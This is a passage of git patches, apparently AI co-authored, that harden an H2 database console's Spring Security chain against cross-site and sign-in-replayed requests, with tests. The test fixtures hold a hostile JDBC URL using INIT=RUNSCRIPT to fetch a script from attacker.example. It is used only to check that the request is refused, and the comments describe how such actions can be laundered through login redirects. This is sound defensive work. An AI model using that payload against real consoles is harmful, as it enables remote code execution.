public AuthorizationResult authorize(Supplier extends Authentication> authentication,
RequestAuthorizationContext context) {
- String site = context.getRequest().getHeader(SEC_FETCH_SITE);
- return new AuthorizationDecision("same-origin".equals(site) || "none".equals(site));
+ HttpServletRequest request = context.getRequest();
+ String site = request.getHeader(SEC_FETCH_SITE);
+ boolean allowed = "same-origin".equals(site) || ("none".equals(site) && isEntryPageGet(request));
+ return new AuthorizationDecision(allowed);
+ }
+
+ private boolean isEntryPageGet(HttpServletRequest request) {
+ // A plain GET with no parameters: the entry page itself, never an action on it.
+ if (!HttpMethod.GET.matches(request.getMethod()) || request.getQueryString() != null
+ || !request.getParameterMap().isEmpty()) {
+ return false;
+ }
+ String path = request.getRequestURI().substring(request.getContextPath().length());
+ return path.equals(basePath) || path.equals(basePath + "/");
}
}
diff --git a/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityTest.java b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityTest.java
index 16d52d00..1bcf9f79 100644
--- a/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityTest.java
+++ b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityTest.java
@@ -40,14 +40,18 @@
/**
* The H2 console's own security chain, as on the development profiles that enable the console.
- * MockMvc runs only the DispatcherServlet, not the H2 servlet, so a request that passes security
- * ends in 404; a request that security rejects ends in 403 (or a redirect to the login page).
+ * Runs on a non-default {@code spring.h2.console.path} to show the rules follow the console's
+ * configured path. MockMvc runs only the DispatcherServlet, not the H2 servlet, so a request that
+ * passes security ends in 404; a request that security rejects ends in 403 (or a redirect to the
+ * login page).
*/
-@SpringBootTest(properties = "spring.h2.console.enabled=true")
+@SpringBootTest(properties = {"spring.h2.console.enabled=true", "spring.h2.console.path=" + H2ConsoleSecurityTest.CONSOLE})
@AutoConfigureMockMvc
@ActiveProfiles("test")
class H2ConsoleSecurityTest {
+ static final String CONSOLE = "/dbconsole";
+
@Autowired
private MockMvc mockMvc;
@@ -63,7 +67,7 @@ void chain_loads_when_console_enabled() {
@Test
@DisplayName("not signed in: redirected to the TP login page")
void anonymous_is_sent_to_login() throws Exception {
- mockMvc.perform(get("/h2-console/").header("Sec-Fetch-Site", "none"))
+ mockMvc.perform(get(CONSOLE + "/").header("Sec-Fetch-Site", "none"))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl("/login"));
}
@@ -71,32 +75,61 @@ void anonymous_is_sent_to_login() throws Exception {
@Test
@DisplayName("a TP customer is refused")
void customer_is_refused() throws Exception {
- mockMvc.perform(get("/h2-console/").header("Sec-Fetch-Site", "none").with(user("customer").roles("USER")))
+ mockMvc.perform(get(CONSOLE + "/").header("Sec-Fetch-Site", "none").with(user("customer").roles("USER")))
+ .andExpect(status().isForbidden());
+ mockMvc.perform(get(CONSOLE + "/query.do").header("Sec-Fetch-Site", "same-origin")
+ .with(user("customer").roles("USER")))
.andExpect(status().isForbidden());
}
- @Test
- @DisplayName("a TP administrator passes, including the console's tokenless POSTs, and frames are allowed same-origin")
- void administrator_passes() throws Exception {
- mockMvc.perform(get("/h2-console/").header("Sec-Fetch-Site", "none").with(user("admin").roles("CUSTODIAN")))
+ @ParameterizedTest
+ @ValueSource(strings = {CONSOLE, CONSOLE + "/"})
+ @DisplayName("a TP administrator may open the entry page directly (typed URL or bookmark), with same-origin frames allowed")
+ void administrator_opens_entry_page_directly(String entry) throws Exception {
+ mockMvc.perform(get(entry).header("Sec-Fetch-Site", "none").with(user("admin").roles("CUSTODIAN")))
.andExpect(status().isNotFound())
.andExpect(header().string("X-Frame-Options", "SAMEORIGIN"));
- mockMvc.perform(post("/h2-console/login.do").header("Sec-Fetch-Site", "same-origin")
+ }
+
+ @Test
+ @DisplayName("a TP administrator's same-origin console requests pass, including tokenless POSTs")
+ void administrator_same_origin_requests_pass() throws Exception {
+ mockMvc.perform(post(CONSOLE + "/login.do").header("Sec-Fetch-Site", "same-origin")
.with(user("admin").roles("CUSTODIAN")))
.andExpect(status().isNotFound());
+ mockMvc.perform(get(CONSOLE + "/query.do").param("sql", "SELECT 1").header("Sec-Fetch-Site", "same-origin")
+ .with(user("admin").roles("CUSTODIAN")))
+ .andExpect(status().isNotFound());
+ }
+
+ @Test
+ @DisplayName("a link opened from another application (Sec-Fetch-Site: none) cannot carry a console action")
+ void user_initiated_requests_are_limited_to_the_entry_page() throws Exception {
+ mockMvc.perform(get(CONSOLE + "/login.do").header("Sec-Fetch-Site", "none")
+ .param("url", "jdbc:h2:mem:x;INIT=RUNSCRIPT FROM 'http://attacker.example/x.sql'")
+ .with(user("admin").roles("CUSTODIAN")))
+ .andExpect(status().isForbidden());
+ mockMvc.perform(get(CONSOLE + "/query.do").param("sql", "SELECT 1").header("Sec-Fetch-Site", "none")
+ .with(user("admin").roles("CUSTODIAN")))
+ .andExpect(status().isForbidden());
+ mockMvc.perform(get(CONSOLE + "/").param("sql", "SELECT 1").header("Sec-Fetch-Site", "none")
+ .with(user("admin").roles("CUSTODIAN")))
+ .andExpect(status().isForbidden());
+ mockMvc.perform(post(CONSOLE + "/").header("Sec-Fetch-Site", "none").with(user("admin").roles("CUSTODIAN")))
+ .andExpect(status().isForbidden());
}
@ParameterizedTest
@ValueSource(strings = {"cross-site", "same-site", ""})
@DisplayName("an administrator's request sent by a cross-site, other-port or non-browser source is refused")
void requests_not_from_the_console_origin_are_refused(String secFetchSite) throws Exception {
- var getRequest = get("/h2-console/query.do").param("sql", "SELECT 1").with(user("admin").roles("CUSTODIAN"));
- var postRequest = post("/h2-console/login.do").with(user("admin").roles("CUSTODIAN"));
+ var entryRequest = get(CONSOLE + "/").with(user("admin").roles("CUSTODIAN"));
+ var postRequest = post(CONSOLE + "/login.do").with(user("admin").roles("CUSTODIAN"));
if (!secFetchSite.isEmpty()) {
- getRequest.header("Sec-Fetch-Site", secFetchSite);
+ entryRequest.header("Sec-Fetch-Site", secFetchSite);
postRequest.header("Sec-Fetch-Site", secFetchSite);
}
- mockMvc.perform(getRequest).andExpect(status().isForbidden());
+ mockMvc.perform(entryRequest).andExpect(status().isForbidden());
mockMvc.perform(postRequest).andExpect(status().isForbidden());
}
}
From 57010b6aa25bde811f21e1ef97777b9e82fe2927 Mon Sep 17 00:00:00 2001
From: "Donald F. Coffin"
Date: Mon, 16 Nov 2026 15:01:30 -0500
Subject: [PATCH 6/6] fix(thirdparty): stop console actions being replayed
through sign-in; normalise console path; session-ended banner
Second review of #270:
- A same-origin redirect after the login POST also arrives as
Sec-Fetch-Site: same-origin, so an attacker's console action could be
laundered through sign-in, either as the saved interrupted request or
as return_to, and then run by H2. SameOriginFetchAuthorizationManager
now requires, for anything but the entry page, a same-origin request
whose Referer is a page of the console itself (the console's frames,
forms and scripts always send one; a sign-in redirect carries the
login page's). The console chain saves only the entry page for the
redirect back after sign-in, without the ?continue marker.
- spring.h2.console.path is normalised once (trailing slashes removed)
for both chains: '/h2-console/' would otherwise give the pattern
'/h2-console//**', which matches nothing.
- After a failed Data Custodian authorization, a user whose TP session
ended is told so and offered the login page, instead of a retry
banner with no authorization cards to retry from.
- Tests: signed-out flows (saved action not replayed, entry page
replayed, return_to action refused), console Referer rules, the
console test runs on '/dbconsole/', H2ConsoleBasePathTest, and the
signed-out banner.
Co-Authored-By: Claude Opus 5.5
---
.../H2ConsoleSecurityConfiguration.java | 36 ++++-
.../config/SecurityConfiguration.java | 3 +-
.../SameOriginFetchAuthorizationManager.java | 61 ++++++--
.../src/main/resources/templates/home.html | 20 ++-
.../config/H2ConsoleBasePathTest.java | 50 +++++++
.../config/H2ConsoleSecurityTest.java | 140 +++++++++++++++---
.../espi/thirdparty/web/FormLoginTest.java | 14 +-
7 files changed, 274 insertions(+), 50 deletions(-)
create mode 100644 openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleBasePathTest.java
diff --git a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityConfiguration.java b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityConfiguration.java
index c3ab4de7..8788635c 100644
--- a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityConfiguration.java
+++ b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityConfiguration.java
@@ -32,6 +32,7 @@
import org.springframework.security.config.annotation.web.configurers.HeadersConfigurer;
import org.springframework.security.web.SecurityFilterChain;
import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
+import org.springframework.security.web.savedrequest.HttpSessionRequestCache;
import org.springframework.security.web.servlet.util.matcher.PathPatternRequestMatcher;
/**
@@ -68,19 +69,46 @@ public class H2ConsoleSecurityConfiguration {
@Bean
@Order(0)
public SecurityFilterChain h2ConsoleSecurityFilterChain(HttpSecurity http,
- @Value("${spring.h2.console.path:/h2-console}") String path) throws Exception {
+ @Value("${spring.h2.console.path:/h2-console}") String configuredPath) throws Exception {
+ String path = basePath(configuredPath);
+ SameOriginFetchAuthorizationManager sameOrigin = new SameOriginFetchAuthorizationManager(path);
+
+ // Not signed in: go to the TP login page. Only the console's entry page is saved for the
+ // redirect back after sign-in. A saved action URL (e.g. an attacker's login.do?url=...) would
+ // otherwise be replayed by that redirect, which the browser reports as same-origin.
+ HttpSessionRequestCache entryPageOnly = new HttpSessionRequestCache();
+ entryPageOnly.setRequestMatcher(sameOrigin::isEntryPage);
+ // No "?continue" marker on the replay: it must stay a parameterless GET of the entry page.
+ entryPageOnly.setMatchingRequestParameterName(null);
+
return http
.securityMatcher(PathPatternRequestMatcher.withDefaults().matcher(path + "/**"))
.authorizeHttpRequests(authz -> authz
.anyRequest().access(AuthorizationManagers.allOf(
AuthorityAuthorizationManager.hasRole("CUSTODIAN"),
- new SameOriginFetchAuthorizationManager(path))))
- // Not signed in: go to the TP login page; the saved request brings the
- // administrator back to the console afterwards.
+ sameOrigin)))
+ .requestCache(cache -> cache.requestCache(entryPageOnly))
.exceptionHandling(e -> e.authenticationEntryPoint(new LoginUrlAuthenticationEntryPoint("/login")))
.csrf(AbstractHttpConfigurer::disable)
// The console is built from frames on its own origin.
.headers(headers -> headers.frameOptions(HeadersConfigurer.FrameOptionsConfig::sameOrigin))
.build();
}
+
+ /**
+ * {@code spring.h2.console.path} without trailing slashes. Spring Boot accepts {@code /h2-console/};
+ * appending {@code /**} to that as configured would give {@code /h2-console//**}, which matches
+ * nothing, so the console would fall through to the main chain's {@code authenticated()}. Used by
+ * both this chain and {@link SecurityConfiguration}'s rule that closes the console.
+ */
+ static String basePath(String configuredPath) {
+ String path = configuredPath == null ? "" : configuredPath.trim();
+ while (path.length() > 1 && path.endsWith("/")) {
+ path = path.substring(0, path.length() - 1);
+ }
+ if (path.isEmpty() || path.equals("/") || !path.startsWith("/")) {
+ throw new IllegalStateException("spring.h2.console.path must be a path below '/': '" + configuredPath + "'");
+ }
+ return path;
+ }
}
diff --git a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java
index d6090a33..274540e7 100644
--- a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java
+++ b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java
@@ -108,7 +108,8 @@ public SecurityFilterChain filterChain(HttpSecurity http,
// H2 console (spring.h2.console.path): closed here. Where the console is enabled
// (spring.h2.console.enabled, development profiles only), H2ConsoleSecurityConfiguration's
// chain handles it ahead of this one; everywhere else this rule keeps it shut.
- .requestMatchers(PathPatternRequestMatcher.withDefaults().matcher(h2ConsolePath + "/**")).denyAll()
+ .requestMatchers(PathPatternRequestMatcher.withDefaults()
+ .matcher(H2ConsoleSecurityConfiguration.basePath(h2ConsolePath) + "/**")).denyAll()
.anyRequest().authenticated()
)
.formLogin(form -> form
diff --git a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/SameOriginFetchAuthorizationManager.java b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/SameOriginFetchAuthorizationManager.java
index 51918787..26891520 100644
--- a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/SameOriginFetchAuthorizationManager.java
+++ b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/SameOriginFetchAuthorizationManager.java
@@ -20,6 +20,7 @@
package org.greenbuttonalliance.espi.thirdparty.security;
import jakarta.servlet.http.HttpServletRequest;
+import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpMethod;
import org.springframework.security.authorization.AuthorizationDecision;
import org.springframework.security.authorization.AuthorizationManager;
@@ -28,23 +29,30 @@
import org.springframework.security.web.access.intercept.RequestAuthorizationContext;
import org.springframework.util.Assert;
+import java.net.URI;
import java.util.function.Supplier;
/**
- * Fetch Metadata resource-isolation check for a tool, such as the H2 console, that is exempt from
- * CSRF tokens. Allows:
+ * Request-origin check for a tool, such as the H2 console, that is exempt from CSRF tokens. Allows:
*
- *
any request the browser reports as coming from this origin
- * ({@code Sec-Fetch-Site: same-origin}): the tool's own frames, links and forms;
- *
a request the user started outside any page ({@code none}: typed URL, bookmark, or a link
- * clicked in another application) only when it is a {@code GET} of the tool's entry page
- * ({@code } or {@code /}). A link from an e-mail, chat or PDF can open the
- * tool but cannot carry an action, such as {@code login.do?url=...;INIT=RUNSCRIPT ...}.
+ *
the tool's entry page ({@code } or {@code /}, a {@code GET}
+ * with no parameters) when the browser reports it as same-origin or user-initiated
+ * ({@code Sec-Fetch-Site: same-origin} or {@code none}: typed URL, bookmark, or a link
+ * clicked in another application). The entry page performs no action.
+ *
any other request only when it is same-origin and its {@code Referer} is a page of
+ * the tool itself. The tool's own frames, forms and scripts always send one.
*
*
- *
Rejected: {@code cross-site}; {@code same-site}, which is how a page on another
+ *
{@code Sec-Fetch-Site} alone is not enough: a same-origin redirect also arrives as
+ * {@code same-origin}. Without the {@code Referer} rule, an action URL from an attacker
+ * ({@code login.do?url=...;INIT=RUNSCRIPT ...}) could be laundered through the TP's sign-in:
+ * saved as the interrupted request, or passed as {@code return_to}, and then replayed by the
+ * redirect after the login form's POST. Such a redirect carries the login page's {@code Referer},
+ * so it is refused.
+ *
+ *
Also rejected: {@code cross-site}; {@code same-site}, which is how a page on another
* {@code localhost} port arrives, and which {@code SameSite=Lax} cookies do not stop; and a missing
- * header (non-browser clients and browsers too old to send it).
+ * header (non-browser clients, and browsers that are too old or strip the {@code Referer}).
*/
public final class SameOriginFetchAuthorizationManager implements AuthorizationManager {
@@ -52,10 +60,12 @@ public final class SameOriginFetchAuthorizationManager implements AuthorizationM
private final String basePath;
- /** @param basePath the tool's path within the application, e.g. {@code /h2-console} */
+ /** @param basePath the tool's path within the application, e.g. {@code /h2-console} (no trailing slash) */
public SameOriginFetchAuthorizationManager(String basePath) {
Assert.hasText(basePath, "basePath must not be empty");
- this.basePath = basePath.endsWith("/") ? basePath.substring(0, basePath.length() - 1) : basePath;
+ Assert.isTrue(basePath.startsWith("/") && !basePath.endsWith("/"),
+ "basePath must start with '/' and must not end with '/': " + basePath);
+ this.basePath = basePath;
}
@Override
@@ -63,12 +73,18 @@ public AuthorizationResult authorize(Supplier extends Authentication> authenti
RequestAuthorizationContext context) {
HttpServletRequest request = context.getRequest();
String site = request.getHeader(SEC_FETCH_SITE);
- boolean allowed = "same-origin".equals(site) || ("none".equals(site) && isEntryPageGet(request));
+ boolean allowed;
+ if (isEntryPage(request)) {
+ allowed = "same-origin".equals(site) || "none".equals(site);
+ }
+ else {
+ allowed = "same-origin".equals(site) && refererIsInsideTool(request);
+ }
return new AuthorizationDecision(allowed);
}
- private boolean isEntryPageGet(HttpServletRequest request) {
- // A plain GET with no parameters: the entry page itself, never an action on it.
+ /** A plain {@code GET} of {@code } or {@code /} with no parameters: no action. */
+ public boolean isEntryPage(HttpServletRequest request) {
if (!HttpMethod.GET.matches(request.getMethod()) || request.getQueryString() != null
|| !request.getParameterMap().isEmpty()) {
return false;
@@ -76,4 +92,19 @@ private boolean isEntryPageGet(HttpServletRequest request) {
String path = request.getRequestURI().substring(request.getContextPath().length());
return path.equals(basePath) || path.equals(basePath + "/");
}
+
+ private boolean refererIsInsideTool(HttpServletRequest request) {
+ String referer = request.getHeader(HttpHeaders.REFERER);
+ if (referer == null) {
+ return false;
+ }
+ try {
+ String path = URI.create(referer).normalize().getRawPath();
+ String tool = request.getContextPath() + basePath;
+ return path != null && (path.equals(tool) || path.startsWith(tool + "/"));
+ }
+ catch (IllegalArgumentException e) {
+ return false;
+ }
+ }
}
diff --git a/openespi-thirdparty/src/main/resources/templates/home.html b/openespi-thirdparty/src/main/resources/templates/home.html
index 512f2788..8bae935b 100644
--- a/openespi-thirdparty/src/main/resources/templates/home.html
+++ b/openespi-thirdparty/src/main/resources/templates/home.html
@@ -8,11 +8,21 @@
-
-
-
- The Data Custodian authorization did not complete. No data access was granted; you can try again below.
-
+
+
+
+
+ The Data Custodian authorization did not complete. No data access was granted; you can try again below.
+
+
+
+ Your Third Party session ended during the Data Custodian authorization, so no data access was granted.
+ Sign in and try again.
+
+
diff --git a/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleBasePathTest.java b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleBasePathTest.java
new file mode 100644
index 00000000..7cba7f66
--- /dev/null
+++ b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleBasePathTest.java
@@ -0,0 +1,50 @@
+/*
+ *
+ * Copyright (c) 2025-2026 Green Button Alliance, Inc.
+ *
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package org.greenbuttonalliance.espi.thirdparty.config;
+
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.CsvSource;
+import org.junit.jupiter.params.provider.ValueSource;
+
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.assertj.core.api.Assertions.assertThatIllegalStateException;
+
+/** Normalisation of {@code spring.h2.console.path} shared by both security chains. */
+class H2ConsoleBasePathTest {
+
+ @ParameterizedTest
+ @CsvSource({"/h2-console, /h2-console", "/h2-console/, /h2-console", "/h2-console//, /h2-console",
+ "' /db/ ', /db", "/a/b/, /a/b"})
+ void trailing_slashes_are_removed(String configured, String expected) {
+ assertThat(H2ConsoleSecurityConfiguration.basePath(configured)).isEqualTo(expected);
+ }
+
+ @ParameterizedTest
+ @ValueSource(strings = {"/", "//", "", "h2-console"})
+ void paths_not_below_root_are_rejected(String configured) {
+ assertThatIllegalStateException().isThrownBy(() -> H2ConsoleSecurityConfiguration.basePath(configured));
+ }
+
+ @Test
+ void null_is_rejected() {
+ assertThatIllegalStateException().isThrownBy(() -> H2ConsoleSecurityConfiguration.basePath(null));
+ }
+}
diff --git a/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityTest.java b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityTest.java
index 1bcf9f79..5cf2ba38 100644
--- a/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityTest.java
+++ b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityTest.java
@@ -19,6 +19,10 @@
package org.greenbuttonalliance.espi.thirdparty.config;
+import org.greenbuttonalliance.espi.common.domain.usage.RetailCustomerEntity;
+import org.greenbuttonalliance.espi.common.repositories.usage.RetailCustomerRepository;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.params.ParameterizedTest;
@@ -27,10 +31,14 @@
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.webmvc.test.autoconfigure.AutoConfigureMockMvc;
import org.springframework.context.ApplicationContext;
+import org.springframework.mock.web.MockHttpSession;
+import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.test.context.ActiveProfiles;
import org.springframework.test.web.servlet.MockMvc;
+import org.springframework.test.web.servlet.request.MockHttpServletRequestBuilder;
import static org.assertj.core.api.Assertions.assertThat;
+import static org.springframework.security.test.web.servlet.request.SecurityMockMvcRequestPostProcessors.csrf;
import static org.springframework.security.test.web.servlet.request.SecurityMockMvcRequestPostProcessors.user;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
@@ -40,17 +48,25 @@
/**
* The H2 console's own security chain, as on the development profiles that enable the console.
- * Runs on a non-default {@code spring.h2.console.path} to show the rules follow the console's
- * configured path. MockMvc runs only the DispatcherServlet, not the H2 servlet, so a request that
- * passes security ends in 404; a request that security rejects ends in 403 (or a redirect to the
- * login page).
+ * Runs on a non-default {@code spring.h2.console.path} with a trailing slash ({@code /dbconsole/}),
+ * to show the rules follow the configured path and that the slash is normalised. MockMvc runs only
+ * the DispatcherServlet, not the H2 servlet, so a request that passes security ends in 404; a request
+ * that security rejects ends in 403 (or a redirect to the login page).
*/
-@SpringBootTest(properties = {"spring.h2.console.enabled=true", "spring.h2.console.path=" + H2ConsoleSecurityTest.CONSOLE})
+@SpringBootTest(properties = {"spring.h2.console.enabled=true", "spring.h2.console.path=/dbconsole/"})
@AutoConfigureMockMvc
@ActiveProfiles("test")
class H2ConsoleSecurityTest {
static final String CONSOLE = "/dbconsole";
+ private static final String SEC_FETCH_SITE = "Sec-Fetch-Site";
+ /** A page of the console itself, as its own frames and forms send it. */
+ private static final String CONSOLE_REFERER = "http://localhost" + CONSOLE + "/login.jsp?jsessionid=abc";
+ private static final String LOGIN_REFERER = "http://localhost/login";
+ private static final String ATTACK_URL = "jdbc:h2:mem:x;INIT=RUNSCRIPT FROM 'http://attacker.example/x.sql'";
+
+ private static final String ADMIN = "h2-console-admin";
+ private static final String PASSWORD = "s3cret-pw";
@Autowired
private MockMvc mockMvc;
@@ -58,6 +74,32 @@ class H2ConsoleSecurityTest {
@Autowired
private ApplicationContext applicationContext;
+ @Autowired
+ private RetailCustomerRepository repository;
+
+ @Autowired
+ private PasswordEncoder customerPasswordEncoder;
+
+ @BeforeEach
+ void createAdmin() {
+ deleteAdmin();
+ RetailCustomerEntity admin = new RetailCustomerEntity(ADMIN, "Console", "Admin", "h2@example.local",
+ RetailCustomerEntity.ROLE_CUSTODIAN);
+ admin.setPassword(customerPasswordEncoder.encode(PASSWORD));
+ admin.setEnabled(Boolean.TRUE);
+ admin.setAccountLocked(Boolean.FALSE);
+ repository.save(admin);
+ }
+
+ @AfterEach
+ void deleteAdmin() {
+ repository.findByUsername(ADMIN).ifPresent(repository::delete);
+ }
+
+ private MockHttpServletRequestBuilder signInAs(MockHttpSession session) {
+ return post("/login").session(session).with(csrf()).param("username", ADMIN).param("password", PASSWORD);
+ }
+
@Test
@DisplayName("the console's security chain loads where the console is enabled")
void chain_loads_when_console_enabled() {
@@ -67,7 +109,7 @@ void chain_loads_when_console_enabled() {
@Test
@DisplayName("not signed in: redirected to the TP login page")
void anonymous_is_sent_to_login() throws Exception {
- mockMvc.perform(get(CONSOLE + "/").header("Sec-Fetch-Site", "none"))
+ mockMvc.perform(get(CONSOLE + "/").header(SEC_FETCH_SITE, "none"))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl("/login"));
}
@@ -75,9 +117,9 @@ void anonymous_is_sent_to_login() throws Exception {
@Test
@DisplayName("a TP customer is refused")
void customer_is_refused() throws Exception {
- mockMvc.perform(get(CONSOLE + "/").header("Sec-Fetch-Site", "none").with(user("customer").roles("USER")))
+ mockMvc.perform(get(CONSOLE + "/").header(SEC_FETCH_SITE, "none").with(user("customer").roles("USER")))
.andExpect(status().isForbidden());
- mockMvc.perform(get(CONSOLE + "/query.do").header("Sec-Fetch-Site", "same-origin")
+ mockMvc.perform(get(CONSOLE + "/query.do").header(SEC_FETCH_SITE, "same-origin").header("Referer", CONSOLE_REFERER)
.with(user("customer").roles("USER")))
.andExpect(status().isForbidden());
}
@@ -86,36 +128,48 @@ void customer_is_refused() throws Exception {
@ValueSource(strings = {CONSOLE, CONSOLE + "/"})
@DisplayName("a TP administrator may open the entry page directly (typed URL or bookmark), with same-origin frames allowed")
void administrator_opens_entry_page_directly(String entry) throws Exception {
- mockMvc.perform(get(entry).header("Sec-Fetch-Site", "none").with(user("admin").roles("CUSTODIAN")))
+ mockMvc.perform(get(entry).header(SEC_FETCH_SITE, "none").with(user("admin").roles("CUSTODIAN")))
.andExpect(status().isNotFound())
.andExpect(header().string("X-Frame-Options", "SAMEORIGIN"));
}
@Test
- @DisplayName("a TP administrator's same-origin console requests pass, including tokenless POSTs")
- void administrator_same_origin_requests_pass() throws Exception {
- mockMvc.perform(post(CONSOLE + "/login.do").header("Sec-Fetch-Site", "same-origin")
+ @DisplayName("a TP administrator's requests from the console's own pages pass, including tokenless POSTs")
+ void administrator_requests_from_the_console_pass() throws Exception {
+ mockMvc.perform(post(CONSOLE + "/login.do").header(SEC_FETCH_SITE, "same-origin").header("Referer", CONSOLE_REFERER)
.with(user("admin").roles("CUSTODIAN")))
.andExpect(status().isNotFound());
- mockMvc.perform(get(CONSOLE + "/query.do").param("sql", "SELECT 1").header("Sec-Fetch-Site", "same-origin")
+ mockMvc.perform(get(CONSOLE + "/query.do").param("sql", "SELECT 1")
+ .header(SEC_FETCH_SITE, "same-origin").header("Referer", CONSOLE_REFERER)
.with(user("admin").roles("CUSTODIAN")))
.andExpect(status().isNotFound());
}
@Test
- @DisplayName("a link opened from another application (Sec-Fetch-Site: none) cannot carry a console action")
- void user_initiated_requests_are_limited_to_the_entry_page() throws Exception {
- mockMvc.perform(get(CONSOLE + "/login.do").header("Sec-Fetch-Site", "none")
- .param("url", "jdbc:h2:mem:x;INIT=RUNSCRIPT FROM 'http://attacker.example/x.sql'")
+ @DisplayName("a same-origin console action not sent from a console page (no Referer, or the login page's) is refused")
+ void same_origin_action_needs_a_console_referer() throws Exception {
+ mockMvc.perform(get(CONSOLE + "/login.do").param("url", ATTACK_URL).header(SEC_FETCH_SITE, "same-origin")
.with(user("admin").roles("CUSTODIAN")))
.andExpect(status().isForbidden());
- mockMvc.perform(get(CONSOLE + "/query.do").param("sql", "SELECT 1").header("Sec-Fetch-Site", "none")
+ mockMvc.perform(get(CONSOLE + "/login.do").param("url", ATTACK_URL).header(SEC_FETCH_SITE, "same-origin")
+ .header("Referer", LOGIN_REFERER).with(user("admin").roles("CUSTODIAN")))
+ .andExpect(status().isForbidden());
+ // A path that only starts like the console's is not the console.
+ mockMvc.perform(get(CONSOLE + "/login.do").param("url", ATTACK_URL).header(SEC_FETCH_SITE, "same-origin")
+ .header("Referer", "http://localhost" + CONSOLE + "-evil/page").with(user("admin").roles("CUSTODIAN")))
+ .andExpect(status().isForbidden());
+ }
+
+ @Test
+ @DisplayName("a link opened from another application (Sec-Fetch-Site: none) cannot carry a console action")
+ void user_initiated_requests_are_limited_to_the_entry_page() throws Exception {
+ mockMvc.perform(get(CONSOLE + "/login.do").header(SEC_FETCH_SITE, "none").param("url", ATTACK_URL)
.with(user("admin").roles("CUSTODIAN")))
.andExpect(status().isForbidden());
- mockMvc.perform(get(CONSOLE + "/").param("sql", "SELECT 1").header("Sec-Fetch-Site", "none")
+ mockMvc.perform(get(CONSOLE + "/").param("sql", "SELECT 1").header(SEC_FETCH_SITE, "none")
.with(user("admin").roles("CUSTODIAN")))
.andExpect(status().isForbidden());
- mockMvc.perform(post(CONSOLE + "/").header("Sec-Fetch-Site", "none").with(user("admin").roles("CUSTODIAN")))
+ mockMvc.perform(post(CONSOLE + "/").header(SEC_FETCH_SITE, "none").with(user("admin").roles("CUSTODIAN")))
.andExpect(status().isForbidden());
}
@@ -124,12 +178,52 @@ void user_initiated_requests_are_limited_to_the_entry_page() throws Exception {
@DisplayName("an administrator's request sent by a cross-site, other-port or non-browser source is refused")
void requests_not_from_the_console_origin_are_refused(String secFetchSite) throws Exception {
var entryRequest = get(CONSOLE + "/").with(user("admin").roles("CUSTODIAN"));
- var postRequest = post(CONSOLE + "/login.do").with(user("admin").roles("CUSTODIAN"));
+ var postRequest = post(CONSOLE + "/login.do").header("Referer", CONSOLE_REFERER).with(user("admin").roles("CUSTODIAN"));
if (!secFetchSite.isEmpty()) {
- entryRequest.header("Sec-Fetch-Site", secFetchSite);
- postRequest.header("Sec-Fetch-Site", secFetchSite);
+ entryRequest.header(SEC_FETCH_SITE, secFetchSite);
+ postRequest.header(SEC_FETCH_SITE, secFetchSite);
}
mockMvc.perform(entryRequest).andExpect(status().isForbidden());
mockMvc.perform(postRequest).andExpect(status().isForbidden());
}
+
+ @Test
+ @DisplayName("signed out, an attacker's console action is not saved and replayed after sign-in")
+ void saved_console_action_is_not_replayed_after_sign_in() throws Exception {
